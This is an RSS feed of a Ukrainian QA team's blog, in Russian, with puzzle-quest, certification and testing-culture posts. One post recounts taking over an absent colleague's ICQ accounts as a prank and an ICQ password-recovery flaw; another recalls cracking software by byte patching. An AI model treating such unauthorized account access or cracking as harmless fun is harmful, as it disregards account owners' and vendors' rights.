<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>QA-Team blog &#187; Серьезно</title>
	<atom:link href="http://qateam.com.ua/category/serezno/feed/" rel="self" type="application/rss+xml" />
	<link>http://qateam.com.ua</link>
	<description>Наше неформальное пространство</description>
	<lastBuildDate>Wed, 22 Sep 2010 21:05:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>First QA Quest</title>
		<link>http://qateam.com.ua/first-qa-quest/</link>
		<comments>http://qateam.com.ua/first-qa-quest/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 14:01:34 +0000</pubDate>
		<dc:creator>sundancer</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[События]]></category>
		<category><![CDATA[Серьезно]]></category>
		<category><![CDATA[qaquest]]></category>
		<category><![CDATA[квест]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/?p=121</guid>
		<description><![CDATA[Предистория: У нашего друга и коллеги был на досуге ДР. Коллективным разумом было решено подарить ему кошель, хорошший такой. Само собой дарить его пустым не кашерно. Решили положить доллар и&#8230;.мы были бы не мы &#8211; одну wmz, но не просто wmz, а бумажку с фразой (eNuzibAKlavius) которая являлась кодом транзакции к этой деньге. Именинник промучался [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Предистория:</strong></p>
<p>У нашего <a href="http://softreview.com.ua/">друга и коллеги</a> был на досуге ДР. Коллективным разумом было решено подарить ему кошель, хорошший такой. Само собой дарить его пустым не кашерно. Решили положить доллар и&#8230;.мы были бы не мы &#8211; одну wmz, но не просто wmz, а бумажку с фразой (eNuzibAKlavius) которая являлась кодом транзакции к этой деньге. Именинник промучался часа 1,5 в попытках понять шо сие за бумага.</p>
<p>После этого в наших нестандартных головах появилась навязчивая идея &#8211; выделять из комманды (добровольно принудительно) подопытного и устраивать ему квест из серии таких задач.</p>
<p><span id="more-121"></span></p>
<p><strong>Сама история: </strong></p>
<p>Я вызвался быть первым участником эксперимента и почти целую неделю делал вид, что не замечаю косяков, хихиканей и каких-то движений по организации головоломок.</p>
<p><strong>Первый квест:</strong></p>
<p><strong><em>Задача раз:</em></strong></p>
<p>И вот в один прекрасный день у меня на столе оказался желтый конверт, внутри которого было это:</p>
<p><img src="http://qateam.com.ua/images/1.jpg" alt="" width="472" height="355" /></p>
<p>Ребята заранее продумали подсказки для меня, которые ещё планировались быть платными, но меня пронесло и как гриться халява рулила.</p>
<p>Я и правда не знал как на самом деле выглядит шрифт Брайля, поэтому те знаки на фотке вызвали у меня ступор, но потом оказалось, что если поколдовать с google и азбукой, получается адрес: qaquest@yandex.ru</p>
<p>Ниже была строка в начале которой красовалось сокращение Subj:</p>
<p>Мой моск рождал два варианта: либо в этом почтовом ящике надо искать письмо с таким сабжем, либо на ящик писать письмо и ждать какого-нить чуда.</p>
<p>Всё оказалось достаточно просто &#8211; по отправке письма с указанным сабжем на указанное мыло пришел автореплай:</p>
<p>&#8220;Митя, у тебя все получается!</p>
<p>Необходимо с паспортом попасть на ул.Александра Невского  строение 1 и у чёртовой дюжины на стекле потребовать то, что предназначено именно тебе!</p>
<p>Желаем удачи!</p>
<p>Твои друзья.&#8221;</p>
<p><em><strong>2. Задача два:</strong></em></p>
<p>Из истории любимого города (в том же google) я узнал что улица Александра Невского это (офигеть) Роза Люксембург.</p>
<p>Понять что в письме указан адрес Главпочтамта &#8211; было не трудно и что надо идти в окно 13 с пасспортом за письмом до востребования, тоже оказалось по силам поему IQ.</p>
<p>В письме была бумажечка:</p>
<p><img src="http://qateam.com.ua/images/2.jpg" alt="" width="520" height="391" /></p>
<p>Шрифт оч &#8220;удобный&#8221; для чтения (специально видимо) набирал я её минут 5, усердно и сосредоточенно:</p>
<p><a href="http://quest.qateam.com.ua/bo7y1nx8eru09832yb17823tyxbqe78ry9b7t.html">http://quest.qateam.com.ua/bo7y1nx8eru09832yb17823tyxbqe78ry9b7t.html</a></p>
<p>Даже получилось с первого раза кажется.</p>
<p><em><strong>3. Задача три:</strong></em></p>
<p>По ссылке, как вы можете убедиться сами, милое создание Лёня Полуянов, (как мне сказали потом, осилил речь только после 10 дубля) рассказал мне о следующей задаче, которую я на удивление друзьям (на радость маме) довольно легко разгадал.</p>
<p>Оказалось что вещь, на которую надо было посмотреть с другой стороны, это есть мой сертификат, весящий у меня на головой.</p>
<p>Там была бумажка:</p>
<p><img src="http://qateam.com.ua/images/3.jpg" alt="" width="550" height="412" /></p>
<p><em><strong>4. Задача четыре:</strong></em></p>
<p>По скольку мы ребята-ойтешниге, то во всех загадках мне помогал либо Гугль, либо ижи с ним.</p>
<p>В этот раз передо носом у меня были координаты и какая-то таблица.</p>
<p>Поковырявшись в Google Earth я узнал место, где должна быть какая-то надпись, высказал предположение, что это скорее всего табличка или ещё что-то, не объявление явно.</p>
<p>Через пару дней, как-то вечером после тренировки с это бумажкой в рюкзаке и в &#8220;слегка&#8221; нетрезвом виде я явился на место с Васей.</p>
<p>В общем мы долго висели на памятной плите, которая находиться возле Эмо-аллеи, и пальцами ползали по строкам и буквам.</p>
<p>Помню только что идея учитывать пробелы и знаки препинания отпала сразу, т.к. вторая буква тутже вышла Й, что совсем нас не устраивало.</p>
<p>В результате 15 минутных стараний и кряхтений (эмо детки очень долго выглядывали из-за плиты с круглыми глазами и пытались понять какого мы там делаем.) получилось что-то типа: &#8220;В подставке монитора&#8221;.</p>
<p>примечание: Если кто смотрел фильм с Кейджем &#8211; Сокровище нации, головоломка была взята оттуда. Помните момент, когда Николас попросил мальчика выбрать определенные буквы из 14 (кажеться) писем какого-то президента США, которые хранились в музее.</p>
<p>Так вот Серега Алиев взял эту идею оттуда.</p>
<p><strong>Финал:</strong></p>
<p>Во вторник, выйдя на работу, когда никого не было в отделе, залез в подставку монитора. Там нашел свой прыззз &#8211; 50 грн.</p>
<p>Но душа жаждала мести, и я решил разыграть хотя бы кого-нить. Им оказался Серёга.</p>
<p>Я сделал вид, что полез туда, но ничего не нашел. Честно говоря получилось немного &#8220;высадить&#8221; Johnny, т.к. он лично туда клал деньги. Потом посмеялись, признались и пожали друг другу руки.</p>
<p>В общем всем спасибо огромное. Это было достойное и интересное начало (очень гуманное отмечу).</p>
<p>Ждем продолжения.</p>
<p>Предлагаю организовать архив вещ. доков, которые учавстовали в квестах, у нас в шкафу.</p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=121&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/first-qa-quest/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Дмитро &#8211; Level up!</title>
		<link>http://qateam.com.ua/dmitro-level-up/</link>
		<comments>http://qateam.com.ua/dmitro-level-up/#comments</comments>
		<pubDate>Tue, 01 Apr 2008 15:09:22 +0000</pubDate>
		<dc:creator>Johnny</dc:creator>
				<category><![CDATA[События]]></category>
		<category><![CDATA[Серьезно]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/archives/145</guid>
		<description><![CDATA[Уважаемый Дмитро! Мы, всем отделом, поздравляем тебя с 3-хлетием твоей работы в нашей компании. Это не первоапрельская шутка! Дата суръёзная. И мы все рады с тобой работать. Всего-всего уже пожелали, торт доедаем (кстати вкусный торт, шайтан его). Но мы &#8211; были бы не мы! Поэтому - На внеплановом заседании в формате &#8220;Дмитро вышел, давайте чё [...]]]></description>
			<content:encoded><![CDATA[<p>Уважаемый Дмитро!</p>
<p>Мы, всем отделом, поздравляем тебя с 3-хлетием твоей работы в нашей компании. Это не первоапрельская шутка! Дата суръёзная. И мы все рады с тобой работать. Всего-всего уже пожелали, торт доедаем (кстати вкусный торт, шайтан его). Но мы &#8211; были бы не мы! Поэтому -</p>
<p>На внеплановом заседании в формате &#8220;Дмитро вышел, давайте чё нить проорём, пока не вернулся&#8221; мы приняли официальное решение о присуждении тебе званий заслуженного Mac&#8217;оведа АР Крым, главного Mozill&#8217;олога BOSSdev UA, а также народного блограйтера, вебманёра и т.д. и т.п. хцп-пчс <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ура!</p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=113&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/dmitro-level-up/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Мысль вслух</title>
		<link>http://qateam.com.ua/myisl-vsluh/</link>
		<comments>http://qateam.com.ua/myisl-vsluh/#comments</comments>
		<pubDate>Wed, 19 Mar 2008 09:58:02 +0000</pubDate>
		<dc:creator>Dmitro Podzyvalovsky</dc:creator>
				<category><![CDATA[Серьезно]]></category>
		<category><![CDATA[Разности]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/2008/03/19/myisl-vsluh/</guid>
		<description><![CDATA[Прочитал вчера в блоге Даниила Мясникова интересную статью о прогнозах на рынке труда тестеровщиков. И решил записать пару мыслей по этому поводу. Компании могут подойти к переманиванию поиску готовых специалистов не из принципа &#8220;купить дешевле, а продать дороже&#8221;. Ведь известно, что &#8220;сотрудники приходят работать в компанию, а уходят от конкретных людей&#8221; (© не помню чей). [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://qateam.com.ua/wp-content/uploads/2008/03/228205501.jpg" alt="22820550.jpg" align="left" hspace="5" />Прочитал вчера в блоге Даниила Мясникова <a href="javascript:document.location='http://bughunter.wordpress.com/2008/03/18/%d0%a0%d1%8b%d0%bd%d0%be%d0%ba-%d1%82%d1%80%d1%83%d0%b4%d0%b0-%d1%82%d0%b5%d1%81%d1%82%d0%b8%d1%80%d0%be%d0%b2%d1%89%d0%b8%d0%ba%d0%be%d0%b2-%d0%9f%d1%80%d0%be%d0%b3%d0%bd%d0%be%d0%b7%d1%8b/'" class="extlink">интересную статью</a> о прогнозах на рынке труда тестеровщиков. И решил записать пару мыслей по этому поводу.</p>
<p>Компании могут подойти к <strike>переманиванию</strike> поиску готовых специалистов не из принципа &#8220;купить дешевле, а продать дороже&#8221;. Ведь известно, что &#8220;сотрудники приходят работать в компанию, а уходят от конкретных людей&#8221; (© не помню чей). Поэтому толчком для перехода в другую компанию кроме повышения з\п (пусть и незначительного) может послужить обстановка (отношения с кем-то) в &#8220;родной&#8221; компании. Это не к тому, что конторам, которые ищут сотрудников нужно срочно устраивать провокации в фирмах, в которых эти самые ценные кадры плодятся. Это скорее к тому, что тем, у кого есть &#8211; нужно ценить. <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Ибо &#8220;что имеем не храним, потерявши &#8211; плачем&#8221; © Народ.</p>
<p>С другой стороны, если уж у компании есть необходимость в улучшении качества продукта, то зачастую, действительно, проще подтянуть внешнюю команду на договорной основе. Это и готовые специалисты (которые скорее всего имеют рекомендации и ряд уже выполненых работ), и <strike>зверей убивать не надо</strike> возможность привлекать их только тогда, когда это нужно, а не &#8220;кормить зазря&#8221;.</p>
<p>Если у кого-то возникнет вопрос: &#8220;А к чему ты это, Дмитро, написал?&#8221;, отвечу &#8211; &#8220;А вот захотелось мне мысль озвучить!&#8221;</p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=109&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/myisl-vsluh/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Заслуги, приносящие радость!</title>
		<link>http://qateam.com.ua/zaslugi-prinosyashhie-radost/</link>
		<comments>http://qateam.com.ua/zaslugi-prinosyashhie-radost/#comments</comments>
		<pubDate>Fri, 25 Jan 2008 12:33:01 +0000</pubDate>
		<dc:creator>Johnny</dc:creator>
				<category><![CDATA[События]]></category>
		<category><![CDATA[Серьезно]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/2008/01/25/zaslugi-prinosyashhie-radost/</guid>
		<description><![CDATA[&#8220;Кто счастливейший из людей? Тот, кто ценит людей по заслугам и радуется их успехам&#8230;&#8221; Иоганн Вольфганг Гёте. В прошлом 2007 году, воспользовавшись случаем, мы бесплатно прошли тестирование на Brainbench. Были достигнуты довольно хорошие результаты и все успешно получили сертификаты по Software Testing, а некоторые ещё и по Software Quality Assurance. В новом 2008 году, наша [...]]]></description>
			<content:encoded><![CDATA[<p align="right"><em>&#8220;Кто счастливейший из людей? Тот, кто ценит людей по заслугам и радуется их успехам&#8230;&#8221; </em></p>
<p align="right"><em>Иоганн Вольфганг Гёте.</em></p>
<p align="right">
<p><img src="http://qateam.com.ua/wp-content/uploads/2008/01/bbench1.png" border="0" alt="bbench.png" /></p>
<p>В прошлом 2007 году, воспользовавшись случаем, мы бесплатно прошли тестирование на Brainbench. <span id="more-99"></span><br />
Были достигнуты довольно хорошие результаты и все успешно получили сертификаты по Software Testing, а некоторые ещё и по Software Quality Assurance.</p>
<p><img src="http://qateam.com.ua/wp-content/uploads/2008/01/softwaretesting1.gif" alt="softwaretesting.gif" /> <img src="http://qateam.com.ua/wp-content/uploads/2008/01/softwareqaanalyst1.gif" alt="softwareqaanalyst.gif" /></p>
<p>В новом 2008 году, наша компания решила нас наградить за наши заслуги &#8211; были заказаны печатные сертификаты. Этому событию мы были приятно удивлены и рады. Отныне рамки с нашими заслугами красуются на стенах  нашего офиса ! <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ну и несколько фото:</p>

<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/softwareqaanalystgif/' title='softwareqaanalyst.gif'><img width="150" height="50" src="http://qateam.com.ua/wp-content/uploads/2008/01/softwareqaanalyst1-150x50.gif" class="attachment-thumbnail" alt="softwareqaanalyst.gif" title="softwareqaanalyst.gif" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/softwaretestinggif/' title='softwaretesting.gif'><img width="150" height="50" src="http://qateam.com.ua/wp-content/uploads/2008/01/softwaretesting1-150x50.gif" class="attachment-thumbnail" alt="softwaretesting.gif" title="softwaretesting.gif" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/bbenchpng/' title='bbench.png'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/bbench1-150x150.png" class="attachment-thumbnail" alt="bbench.png" title="bbench.png" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/sergeyjpg/' title='sergey.JPG'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/sergey-150x150.jpg" class="attachment-thumbnail" alt="sergey.JPG" title="sergey.JPG" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/diesel/' title='Diesel'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/jenya1-150x150.jpg" class="attachment-thumbnail" alt="Diesel" title="Diesel" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/le0n/' title='Le0n'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/leo1-150x150.jpg" class="attachment-thumbnail" alt="Le0n" title="Le0n" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/dmitrojpg/' title='dmitro.JPG'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/dmitro-150x150.jpg" class="attachment-thumbnail" alt="dmitro.JPG" title="dmitro.JPG" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/sundancer/' title='Sundancer'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/mitya1-150x150.jpg" class="attachment-thumbnail" alt="Sundancer" title="Sundancer" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/vasiliy/' title='Vasiliy'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/vasya1-150x150.jpg" class="attachment-thumbnail" alt="Vasiliy" title="Vasiliy" /></a>
<a href='http://qateam.com.ua/zaslugi-prinosyashhie-radost/oldyew/' title='Oldyew'><img width="150" height="150" src="http://qateam.com.ua/wp-content/uploads/2008/01/yewri1-150x150.jpg" class="attachment-thumbnail" alt="Oldyew" title="Oldyew" /></a>

<img src="http://qateam.com.ua/?ak_action=api_record_view&id=99&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/zaslugi-prinosyashhie-radost/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>First Computer Bug</title>
		<link>http://qateam.com.ua/103/</link>
		<comments>http://qateam.com.ua/103/#comments</comments>
		<pubDate>Sun, 09 Sep 2007 11:39:15 +0000</pubDate>
		<dc:creator>Dmitro Podzyvalovsky</dc:creator>
				<category><![CDATA[События]]></category>
		<category><![CDATA[Серьезно]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/2007/09/09/103/</guid>
		<description><![CDATA[Всех, кто так или иначе связан с разработкой и тестированием ПО, поздравляю с этим светлым днем в истории человечества. Именно в этот день, 9-го сентября, много-много лет назад (на столько много, что разные источники дают разные данные) ученые Гарвардского университета во время тестирования вычислительной машины Mark II Aiken Relay Calculator, нашли мотылька, застрявшего между контактами [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://softreview.com.ua/images/1st_comp_bug.jpg" target="_blank" rel="lightbox" title="First Computer Bug"><img src="http://softreview.com.ua/images/FirstComputerBug_C6B9/1ss_bug_thumb.jpg" ilo-full-src="http://softreview.com.ua/images/FirstComputerBug_C6B9/1ss_bug_thumb.jpg" style="border: 0px none " alt="First Computer Bug" align="left" border="0" height="166" width="200" /></a> Всех, кто так или иначе связан с разработкой и тестированием ПО, поздравляю с этим светлым днем в истории человечества. Именно в этот день, 9-го сентября, много-много лет назад (на столько много, что разные источники дают <a href="javascript:document.location='http://www.history.navy.mil/photos/images/h96000/h96566kc.htm'" target="_blank" class="extlink">разные</a> <a href="javascript:document.location='http://www.jamesshuggins.com/h/tek1/first_computer_bug.htm'" target="_blank" class="extlink">данные</a>) ученые Гарвардского университета во время тестирования вычислительной машины Mark II Aiken Relay Calculator, нашли мотылька, застрявшего между контактами электромеханического реле. Насекомое было вклеено в тех.дневник, с сопроводительной надписью: &#8220;First actual case of bug being found&#8221;.</p>
<p>Еще раз поздравляю всех, желаю, чтобы каждый баг имел свою персональную запись в багтреке (желательно с отметкой о фиксе <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ), ну а кроме того, всем хорошего начальства и адекватных заказчиков.</p>
<p>Удачи всем.</p>
<p>PS: <a href="javascript:document.location='http://en.wikipedia.org/wiki/Computer_bug'" target="_blank" class="extlink">википедия</a>, кстати, <a href="javascript:document.location='http://ru.wikipedia.org/wiki/%D0%91%D0%B0%D0%B3'" target="_blank" class="extlink">склоняется </a>к тому,  что событие сие произошло таки в 1947, а значит &#8211; юбилей сегодня.</p>
<p class="wlWriterSmartContent" id="0767317B-992E-4b12-91E0-4F059A8CECA8:96a759a3-a872-4679-925c-0938d0292d33" contenteditable="false" style="margin: 0px; padding: 0px; display: inline"><strong>Technorati Tags</strong>: <a href="javascript:document.location='http://technorati.com/tags/First%20Computer%20Bug'" rel="tag" class="extlink">First Computer Bug</a>, <a href="javascript:document.location='http://technorati.com/tags/September%209th'" rel="tag" class="extlink">September 9th</a></p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=80&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/103/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Миф о гениальном дизайнере</title>
		<link>http://qateam.com.ua/mif-o-genialnom-dizajnere/</link>
		<comments>http://qateam.com.ua/mif-o-genialnom-dizajnere/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 20:58:53 +0000</pubDate>
		<dc:creator>Dmitro Podzyvalovsky</dc:creator>
				<category><![CDATA[Серьезно]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/2007/09/07/mif-o-genialnom-dizajnere/</guid>
		<description><![CDATA[Привлечение хорошего дизайнера к проекту не избавляет вас от необходимости систематически проводить тесты на юзабилити. Для уменьшения риска создания неправильного интерфейса и улучшения его качества необходимы тесты с пользователями и прочее. Перевод статьи Якоба Нильсена &#8220;The Myth of the Genius Designer&#8221;]]></description>
			<content:encoded><![CDATA[<blockquote><p> Привлечение хорошего дизайнера к проекту не избавляет вас от необходимости систематически проводить тесты на юзабилити. Для уменьшения риска создания неправильного интерфейса и улучшения его качества необходимы тесты с пользователями и прочее.</p></blockquote>
<p><a href="javascript:document.location='http://www.webmascon.com/topics/testing/20a.asp'" target="_blank" class="extlink">Перевод</a> статьи Якоба Нильсена <a href="javascript:document.location='http://www.useit.com/alertbox/genius-designers.html'" target="_blank" class="extlink">&#8220;The Myth of the Genius Designer&#8221;</a></p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=79&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/mif-o-genialnom-dizajnere/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ICQ secutiry strangeness</title>
		<link>http://qateam.com.ua/icq-secutiry-strangeness/</link>
		<comments>http://qateam.com.ua/icq-secutiry-strangeness/#comments</comments>
		<pubDate>Tue, 04 Sep 2007 11:43:03 +0000</pubDate>
		<dc:creator>sundancer</dc:creator>
				<category><![CDATA[Серьезно]]></category>
		<category><![CDATA[Баг дня]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/2007/09/04/icq-secutiry-strangeness/</guid>
		<description><![CDATA[Небольшое недоумение. Ушел один из наших коллег в отпуск. И толи по запаре толи по наивности оставил сохраненными пароли на два аккаунта в аську под квипом. Обнаружив такое дело, мы решили поиздеваться над нашим секьюрщиком. (по доброму конечно же). Загрузились под его аккаунтом, изменили primary e-mail на свой, а чтобы поменять пароли пришлось воспользоваться веб [...]]]></description>
			<content:encoded><![CDATA[<p>Небольшое недоумение.</p>
<p>Ушел один из наших коллег в отпуск.<br />
И толи по запаре толи по наивности оставил сохраненными пароли на два аккаунта в аську под квипом.</p>
<p>Обнаружив такое дело, мы решили поиздеваться над нашим секьюрщиком. (по доброму конечно же).</p>
<p><span id="more-60"></span></p>
<p>Загрузились под его аккаунтом, изменили primary e-mail на свой, а чтобы поменять пароли пришлось воспользоваться веб сервисом на icq.com. Так же мы изменили дополнительные вопросы.</p>
<p>Какого  же было наше удивление, когда товарисч вернулся из отпуска и без проблем востановил себе пароли на оба аккаунта.</p>
<p>Оказалось что icq-шный сервер хранит как primary e-mail два последних введеных адреса.</p>
<p>И любой из них оказывается валидным при указании в форме востановления пароля.</p>
<p>Ещё один нюанс в  том, что при сбрасывании пароля, на мыло высылается линка, по которой можно пройти так сказать для подтверждения. Эта линка валидна в течении суток, даже в том случае если пользователь из под своей учётной записи ещё раз поменял пароль или primary e-mail.</p>
<p>Таким образом злые шутники вместе с пострадавшим целый день игрались, меняя пароли на несчастном аккаунте.</p>
<p>В общем учтите в будущем эти мелочи, которые могут оказаться очень &#8220;приятными&#8221;.</p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=60&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/icq-secutiry-strangeness/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Тестить тестеров!</title>
		<link>http://qateam.com.ua/testit-testerov/</link>
		<comments>http://qateam.com.ua/testit-testerov/#comments</comments>
		<pubDate>Sun, 22 Jul 2007 21:36:57 +0000</pubDate>
		<dc:creator>Dmitro Podzyvalovsky</dc:creator>
				<category><![CDATA[Серьезно]]></category>
		<category><![CDATA[Разности]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/2007/07/23/testit-testerov/</guid>
		<description><![CDATA[Всем! Всем! Всем! На BrainBench.com доступны для бесплатной сдачи тесты Software Testing и Software Quality Assurance, а значит есть возможность обновить свои результаты (ну, а кому-то просто попробовать свои силы). Список всех бесплатных экзаменов здесь.]]></description>
			<content:encoded><![CDATA[<p><img src="http://qateam.com.ua/wp-content/uploads/2007/07/newbblogo31.gif" ilo-full-src="http://qateam.com.ua/wp-content/uploads/2007/07/newbblogo31.gif" alt="BrainBench.com" bordercolor="000000" align="left" border="0" hspace="5" vspace="0" />Всем! Всем! Всем!<br />
На BrainBench.com доступны для бесплатной сдачи тесты <span></span><a href="javascript:document.location='http://brainbench.com/xml/bb/common/testcenter/taketest.xml?testId=473'" title="Software Testing" name="Software Testing" target="_blank" class="extlink">Software Testing</a> и <a href="javascript:document.location='http://brainbench.com/xml/bb/common/testcenter/taketest.xml?testId=235'" title="Software Quality Assurance" name="Software Quality Assurance" target="_blank" class="extlink">Software Quality Assurance</a>, а значит есть возможность обновить свои результаты (ну, а кому-то просто попробовать свои силы).</p>
<p>Список всех бесплатных экзаменов <a href="javascript:document.location='http://brainbench.com/xml/bb/common/testcenter/freetests.xml'" target="_blank" class="extlink">здесь</a>.</p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=53&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/testit-testerov/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Sw0rd Fish</title>
		<link>http://qateam.com.ua/password-the-sword-fish/</link>
		<comments>http://qateam.com.ua/password-the-sword-fish/#comments</comments>
		<pubDate>Tue, 10 Jul 2007 08:45:34 +0000</pubDate>
		<dc:creator>le0n</dc:creator>
				<category><![CDATA[Серьезно]]></category>

		<guid isPermaLink="false">http://qateam.com.ua/blog/2007/07/10/password-the-sword-fish/</guid>
		<description><![CDATA[Hacking. Как много в этом слове! Все мы, конечно же, смотрели фильмы, а-ля &#8220;Пароль Рыба-Меч&#8221;. Я знаю одно – автор курил, как мне кажется, не только сигареты. Взломать сервер какого то там мега-секьюрного правительства США за одну минуту &#8211; это вам не цацки-пецки. И наш герой с этим справляется! После просмотра подобных фильмов действительно хочется [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://qateam.com.ua/wp-content/uploads/2007/07/hacking-601.jpeg" alt="hacking-60.jpeg" align="left" hspace="5" vspace="0" />Hacking. Как много в этом слове! Все мы, конечно же, смотрели фильмы, а-ля &#8220;Пароль Рыба-Меч&#8221;.  Я знаю одно – автор курил, как мне кажется, не только сигареты. Взломать сервер какого то там мега-секьюрного правительства США за одну минуту &#8211; это вам не цацки-пецки. И наш герой с этим справляется! После просмотра подобных фильмов действительно хочется заняться чем- то эдаким.<span id="more-44"></span></p>
<p><strong>Cracking</strong> &#8211; серийники меняются, но байты остаются <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Почему я заинтересовался хаккингом &#8211; не помню: было это ещё тогда, когда я учился в школе. С чего же я начал? А начал я совсем не с того, с чего  следовало! Сначала, искал в интернете статьи о том, как взломать сайт. Почитав их, так ничего и не понял. А как тут понять если эти статьи писали такие же как и я?! После уймы потраченных часов в Сети, разорившись на постоянных покупках интернет-карт, я подумал, что то, чем я пытаюсь заняться &#8211; это НЕРЕАЛЬНО, и я стал изучать приёмы крекинга. Вот тут- то уже у меня и стало получаться (начиналось это дело с диска &#8220;Золотой Хакер 2000&#8243;, как сейчас помню), 14-ти гиговый винт был полностью забит разными дебагерами, HEX редакторами и другими подобными инструментами. Увлекался я этим делом около полугода и думал, что я теперь не просто крут, а МЕГА-КРУТ!!!. Но не тут- то было, как я позже понял &#8211; поменять значение байта в редакторе и таким образом зарегить прогу &#8211; не такое уж и трудное дело!</p>
<p><strong>Hacking</strong> &#8211; уязвимость либо есть, либо есть- её просто не может не быть!</p>
<p>Прошло время, и я вернулся в нашу реальность&#8230; Поступил в универ, устроился на работу. Так как она (работа, да и реальность тоже) напрямую связана с тестированием ПО, я изучал различную инфу по тестингу. И вдруг мне вспомнилось моё старое увлечение <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> , нет не крекинг, а хаккинг. Тут та я и стал изучать &#8220;ИСКУССТВО&#8221; хаккинга. Благо с нами работают хорошие разработчики, один из них меня и направил на путь истинный! Наконец- то я понял, что &#8220;Взломать сайт&#8221; &#8211; это понятие не просто растяжимое, но и совершенно не правильное&#8230;</p>
<p><strong>Что учить? Зачем учить???</strong></p>
<p>В скором времени к нам пришёл запрос на тестирование &#8220;индусской&#8221; работы. Логика их работы до сих пор находится под секретом, раскрыть его могут лишь сами индусы. Мы не можем, то ли потому что мы не индусы, то ли потому что индусы не мы! Ладно, давайте вернёмся к нашим баранам.</p>
<p>Наконец-то проект пришёл, со следующим запросом:</p>
<p>1. Протестите</p>
<p>2. Протестите на уязвимости (XSS, SQL, сессии).</p>
